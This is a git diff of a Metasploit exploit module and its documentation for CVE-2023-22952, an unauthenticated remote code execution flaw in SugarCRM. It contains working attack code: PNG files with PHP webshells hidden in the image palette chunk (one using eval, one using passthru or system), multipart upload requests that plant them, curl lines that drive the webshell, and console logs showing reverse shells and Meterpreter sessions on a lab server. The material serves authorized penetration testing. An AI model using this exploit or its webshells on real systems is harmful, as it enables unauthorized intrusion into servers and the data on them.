diff --git a/documentation/modules/exploit/linux/http/sugarcrm_webshell_cve_2023_22952.md b/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md similarity index 50% rename from documentation/modules/exploit/linux/http/sugarcrm_webshell_cve_2023_22952.md rename to documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md index 481927fe2b..d428196117 100644 --- a/documentation/modules/exploit/linux/http/sugarcrm_webshell_cve_2023_22952.md +++ b/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md @@ -3,8 +3,8 @@ This module exploits a Remote Code Execution (RCE) vulnerability that has been identified in the SugarCRM application. The vulnerability in sugarCRM could allows an unauthenticated attacker to upload a malicious `PNG` file with embedded PHP code to the `/cache/images/` directory on the web server using the vulnerable endpoint `/index.php?module=EmailTemplates&action=AttachFiles`. -Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web -via http or https gaining access to the system. +Once uploaded to the server, depending on server configuration, the attacker can access the malicious PNG file via HTTP or HTTPS, +thereby executing the malicious PHP code and gaining access to the system. The RCE is unauthenticated because of a missing authentication check in the `loadUser()` method in `include/MVC/SugarApplication.php`. After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application. @@ -25,12 +25,12 @@ This module has been tested against a SugarCRM installation with the specificati ` ## Verification Steps -1. `use exploit/linux/http/sugarcrm_webshell_cve_2023_22952` +1. `use exploit/multi/http/sugarcrm_webshell_cve_2023_22952` 1. `set RHOSTS ` 1. `set RPORT ` 1. `set LHOST ` 1. `set LPORT ` -1. `set TARGET <0-Unix command or 1-Linux Dropper>` +1. `set TARGET <0-PHP, 1-Unix command or 2-Linux Dropper>` 1. `exploit` 1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings. @@ -40,32 +40,53 @@ You can use this option to set the filename and extension of the webshell. This is handy if you want to test the webshell upload and execution with different file extensions (.phtml, .php7, .inc) to bypass any security settings on the Web and PHP server. +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are system(), passthru(), shell_exec() and exec() and it defaults to passthru(). +This option is only avialable when the target selected is either the Unix Command or Linux Dropper. +For the native PHP target, by default the eval() function will be used for native PHP code execution. + ## Scenarios -### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - bash reverse shell - +### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - PHP Meterpreter session ``` -msf6 > use exploit/linux/http/sugarcrm_webshell_cve_2023_22952 -[*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > options +msf6 > use exploit/multi/http/sugarcrm_webshell_cve_2023_22952 +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > options -Module options (exploit/linux/http/sugarcrm_webshell_cve_2023_22952): +Module options (exploit/multi/http/sugarcrm_webshell_cve_2023_22952): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes SugarCRM base url + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell + name will be randomly generated if left unset. + + + When TARGET is not 0: Name Current Setting Required Description ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit - RPORT 80 yes The target port (TCP) - SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine - or 0.0.0.0 to listen on all addresses. + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + + + When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or + 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. - SSL false no Negotiate SSL/TLS for outgoing connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - URIPATH no The URI to use for this exploit (default is random) - VHOST no HTTP server virtual host -Payload options (cmd/unix/reverse_bash): +Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -77,80 +98,70 @@ Exploit target: Id Name -- ---- - 0 Unix Command + 0 PHP + View the full module info with the info, or info -d command. -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 lhost => 192.168.100.254 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set target 0 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 0 target => 0 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > exploit +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit + +[*] Started reverse TCP handler on 192.168.100.254:4444 +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.100.180 +[+] Deleted cXSbMSaTtcnn.phtml +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-02-15 14:11:23 +0000 + +meterpreter > sysinfo +Computer : sugarcrm +OS : Debian 8.6 (Linux 2.6.32) +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > exit +``` + +### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - bash reverse shell +``` +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +rhosts => 192.168.100.180 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +lhost => 192.168.100.254 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +lport => 4444 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 1 +target => 1 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Started reverse TCP handler on 192.168.100.254:4444 [*] Executing Unix Command for cmd/unix/reverse_bash [+] Deleted RPXrYGLCvGjL.phar -[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-01-19 19:14:56 +0000 +[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:52584) at 2023-01-19 19:14:56 +0000 whoami www-data exit ``` -### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - Meterpreter session - +### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - Linux Meterpreter session ``` -msf6 > use exploit/linux/http/sugarcrm_webshell_cve_2023_22952 -[*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > options - -Module options (exploit/linux/http/sugarcrm_webshell_cve_2023_22952): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit - RPORT 80 yes The target port (TCP) - SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine - or 0.0.0.0 to listen on all addresses. - SRVPORT 8080 yes The local port to listen on. - SSL false no Negotiate SSL/TLS for outgoing connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - URIPATH no The URI to use for this exploit (default is random) - VHOST no HTTP server virtual host - - -Payload options (linux/x64/meterpreter_reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 1 Linux Dropper - - -View the full module info with the info, or info -d command. - -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 lhost => 192.168.100.254 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > set target 1 -target => 1 -msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > exploit +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 2 +target => 2 +msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Started reverse TCP handler on 192.168.100.254:4444 [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp @@ -159,7 +170,7 @@ msf6 exploit(linux/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Sending payload to 127.0.0.1 (Wget/1.16 (linux-gnu)) [*] Sending stage (3045348 bytes) to 127.0.0.1 [+] Deleted ZxGTSVGsOUZs.phtml -[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:43076) at 2023-01-19 19:16:07 +0000 +[*] Meterpreter session 3 opened (127.0.0.1:4444 -> 127.0.0.1:43076) at 2023-01-19 19:16:07 +0000 [*] Command Stager progress - 100.00% done (121/121 bytes) [*] Server stopped. diff --git a/modules/exploits/linux/http/sugarcrm_webshell_cve_2023_22952.rb b/modules/exploits/multi/http/sugarcrm_webshell_cve_2023_22952.rb similarity index 58% rename from modules/exploits/linux/http/sugarcrm_webshell_cve_2023_22952.rb rename to modules/exploits/multi/http/sugarcrm_webshell_cve_2023_22952.rb index 7b2581dfa0..ab7bdb137e 100644 --- a/modules/exploits/linux/http/sugarcrm_webshell_cve_2023_22952.rb +++ b/modules/exploits/multi/http/sugarcrm_webshell_cve_2023_22952.rb @@ -12,9 +12,39 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper - # Base64 PNG webshell code. Credits to sw33t.0day - # - PNG_B64_WEBSHELL = 'iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC'.freeze + # PNG embedded tiny PHP webshell hidden in a PLTE chunk thats allows PHP command functions such as; + # passthru(),shell_exec(), exec() and system() as options for command execution. + # + # PHP Code: + # Examples: + # echo -n 'ls -l' | base64 ==> bHMgLWw= + # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/webshell_cmd_base64.phar?0=passthru' -o - + # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/webshell_cmd_base64.phar?0=system' -o - + # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/webshell_cmd_base64.phar?0=shell_exec' -o - + PNG_CMD_WEBSHELL = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x0E"\ + "\x00\x00\x00\x14\x04\x03\x00\x00\x00\x4F\x2B\x11\x1F\x00\x00\x00\x2A\x50\x4C\x54"\ + "\x45\x3C\x3F\x3D\x24\x5F\x47\x45\x54\x5B\x30\x5D\x28\x62\x61\x73\x65\x36\x34\x5F"\ + "\x64\x65\x63\x6F\x64\x65\x28\x24\x5F\x50\x4F\x53\x54\x5B\x31\x5D\x29\x29\x3B\x3F"\ + "\x3E\x20\x20\x88\xDD\xEC\x6F\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0E\xC4\x00"\ + "\x00\x0E\xC4\x01\x95\x2B\x0E\x1B\x00\x00\x00\x16\x49\x44\x41\x54\x08\x99\x63\x60"\ + "\x80\x02\x46\x65\xD7\xF4\xCE\xD5\x67\x19\x06\x19\x00\x00\x9D\xCB\x02\xD2\x8E\xD6"\ + "\x6C\x6F\x00\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82".freeze + + # PNG embedded tiny PHP webshell hidden in a PLTE chunk thats allows native PHP code execution using + # the eval() function. + # + # PHP Code: + # Examples: + # echo -n "echo phpversion();" | base64 ==> ZWNobyBwaHB2ZXJzaW9uKCk7 + # curl -XPOST -d '1=ZWNobyBwaHB2ZXJzaW9uKCk7' 'http://localhost/webshell_php_base64.phar -o - + PNG_PHP_WEBSHELL = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x0E"\ + "\x00\x00\x00\x14\x04\x03\x00\x00\x00\x4F\x2B\x11\x1F\x00\x00\x00\x2A\x50\x4C\x54"\ + "\x45\x3C\x3F\x70\x68\x70\x20\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F"\ + "\x64\x65\x63\x6F\x64\x65\x28\x24\x5F\x50\x4F\x53\x54\x5B\x31\x5D\x29\x29\x3B\x3F"\ + "\x3E\x20\x20\x34\x54\xE6\xA1\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0E\xC4\x00"\ + "\x00\x0E\xC4\x01\x95\x2B\x0E\x1B\x00\x00\x00\x16\x49\x44\x41\x54\x08\x99\x63\x60"\ + "\x80\x02\x46\x65\xD7\xF4\xCE\xD5\x67\x19\x06\x19\x00\x00\x9D\xCB\x02\xD2\x8E\xD6"\ + "\x6C\x6F\x00\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82".freeze def initialize(info = {}) super( @@ -25,8 +55,8 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a Remote Code Execution (RCE) vulnerability that has been identified in the SugarCRM application. The vulnerability in sugarCRM could allows an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint /index.php?module=EmailTemplates&action=AttachFiles. - Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web - via http or https gaining access to the system. + Once uploaded to the server, depending on server configuration, the attacker can access the malicious PNG file via HTTP or HTTPS, + thereby executing the malicious PHP code and gaining access to the system. The RCE is unauthenticated because of a missing authentication check in the loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application. @@ -49,10 +79,21 @@ class MetasploitModule < Msf::Exploit::Remote [ 'PACKETSTORM', '170346' ] ], 'License' => MSF_LICENSE, - 'Platform' => ['unix', 'linux'], + 'Platform' => [ 'unix', 'linux', 'php' ], 'Privileged' => false, - 'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ], + 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], [ 'Unix Command', { @@ -92,9 +133,11 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options( [ + OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]), OptString.new('WEBSHELL', [ - false, 'The name of the webshell with extension to beat the parser like .phtml,.phar,.shtml,.inc, and others. Webshell name will be randomly generated if left unset.', nil - ]) + false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', nil + ]), + OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) ] ) end @@ -109,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'cookie' => @phpsessid.to_s, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @@ -135,7 +178,12 @@ class MetasploitModule < Msf::Exploit::Remote @webshell_name = datastore['WEBSHELL'].to_s end - png_webshell = Base64.strict_decode64(PNG_B64_WEBSHELL) + # select webshell depending on the target setting (PHP or others). + if target['Type'] == :php + png_webshell = PNG_PHP_WEBSHELL + else + png_webshell = PNG_CMD_WEBSHELL + end # construct multipart form data based on Chrome browser fingerprint boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}" @@ -157,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'cookie' => @phpsessid.to_s, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => form_data @@ -169,15 +217,32 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, _opts = {}) + def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'cache', 'images', @webshell_name), + 'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name), 'cookie' => @phpsessid.to_s, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { - 'c' => payload + '1' => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name), + 'cookie' => @phpsessid.to_s, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + '0' => php_cmd_function + }, + 'vars_post' => { + '1' => payload } }) end @@ -189,10 +254,12 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] + when :php + execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper - execute_cmdstager + execute_cmdstager(linemax: 65536) end end end